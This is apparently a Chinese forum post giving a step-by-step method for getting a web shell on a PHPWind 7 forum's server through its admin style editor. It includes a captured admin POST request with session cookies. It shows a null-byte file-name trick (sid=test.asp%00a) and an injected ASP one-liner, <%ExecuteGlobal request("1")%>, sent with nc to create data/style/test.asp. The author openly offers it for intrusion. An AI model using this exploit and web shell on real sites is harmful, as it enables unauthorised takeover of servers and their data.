最近很很忙， 哎。 。 。 。 而且忙的要死， 但是一個以前的朋友要幫忙搞定一個站， 打開是PHPWIND7的論壇， 在入侵一個PHPWIND論壇時的成果,適用于PHPWIND不能上傳,而網上盛傳的三種拿SEHLL方法都無效,可以一試,應該算是PHPWIND后臺的漏洞

   呵呵， 下面教大家一個方法， 個人是測試可以

工具:winsock專家 v0.6 betan1 一只;UE-32.EXE一只；NC.EXE一只,電腦一臺(只見一堆磚頭飛過。 。 。 。 )

首先， 進入風格插件>>>>風格模板>>>>添加風格.在第一項， 此風格在image目錄下的文件夾名稱:填TEST或FUCKCNN。 。 然后按提交。

然后點 [返 回 繼 續 操 作] 找到剛才新建的風格， 點編緝，

這里就要輪到winsock出場了...

打開IE進程抓包隨便改點什么,如下面的98%改成97%.這里關鍵的是把數據包抓下來,其它的沒所謂

一共二條數據如下:

1:

POST /phpwindhttp://img6.22122511.com/upload/net_2/admin.php?adminjob=setstyles&verify=bb457aae& HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://x22222.h21.ttrr.com/phpwi ... n=edit&sid=test

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)

Host: x22222.h21.ttrr.com

Content-Length: 473

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: 9f9e2_lastpos=T3; 9f9e2_ol_offset=97; 9f9e2_threadlog=%2C2%2C; 9f9e2_winduser=C20FAgIEVABSV1RYUAQDVwICDVcAA1MDVwcGBwEFUgUABGg%3D; 9f9e2_ck_info=%2F%09; 9f9e2_lastvisit=7102%091208851845%09%2Fphpwind%2Fupload%2Fread.php%3Ftid%3D3; 9f9e2_ipfrom=32f09dc105198e55683b704b0f8fbc6b%09%B9%E3%B6%AB%CA%A1%0D; 9f9e2_readlog=%2C1%2C2%2C3%2C; 9f9e2_adskin=0; 9f9e2_cknum=CFZUCggDVABSDDtoA1ZRB1VTCQVUCgJVUwMGAQpXBgdcB1FWWwUHAgFWVlA%3D; 9f9e2_AdminUser=CFZUCggAXQVVBDsAVV4MWmgHWF0BBlUPUAZTDQZTBlIAVlcDXFIGVFNWAVFQUFADBTo%3D

2:

action=edit&step=3&sid=test&setting%5B0%5D=test&setting%5B1%5D=wind&setting%5B2%5D=1&setting%5B7%5D=97%25&setting%5B8%5D=98%25&setting%5B3%5D=%23fff&setting%5B4%5D=%232f5fa1&setting%5B5%5D=%23B6D9E3&setting%5B6%5D=%23D4EFF7&setting%5B9%5D=%2376BAC2&setting%5B10%5D=%2376BAC2&setting%5B11%5D=%23005681&setting%5B12%5D=%235495A0&setting%5B13%5D=%23F7F7F7&setting%5B14%5D=%23D6E8CB&setting%5B15%5D=%23659b28&setting%5B16%5D=%23ffffff&setting%5B17%5D=%23F4FBFF&setting%5B18%5D=

分別把他們存為a.txt和b.txt

重點到了,我們打開b.txt,把第三個參數sid=test改為test.aspa,在最后的參數改為setting%5B18%5D=%0D%0C%3C%25ExecuteGlobal+request%28%221%22%29%25%3E簡化點就是[回車符]<%ExecuteGlobal request("1")%>

存盤,可以了,然后查看一下b.txt的大小530字節.套套是給他作好了,再給他帶上看看,

好,現在我們把b.txt的內容復制到a.txt的最下面,再用ue-32打開a.txt,把下面這行Content-Length: 473改成Content-Length: 530,然后切換[到十六進制模式]把剛才修改的第三個參數sid=test.aspa改為sid=test.asp ,注意,這個 為十六進制的00 .存盤,

用NC.EXE發送

OK,現在讓我們上FTP看看有沒有生成TEST.ASP(當然,如果是入侵的話就直接用一句話客戶端去連拉)

要記得你生成的文件在bbs.xxxxxxxxx.com/data/style/test.asp

呵呵， 有的問了為什么我們部直接上傳php呢， 因為PHP會把我們輸入的一句話包含到單引號里面,這樣我們的一句話就不能執行了,而ASP單引號不影響我們的執行， 哈哈哈， 大家這會知道了吧。 很簡單， 也許大家說如果那個不支持ASP怎么辦， 那我只能說你運氣太差了， 我猜目前大多的空間商是支持的， 還有大部分都應該支持吧， 畢竟是支持微軟的。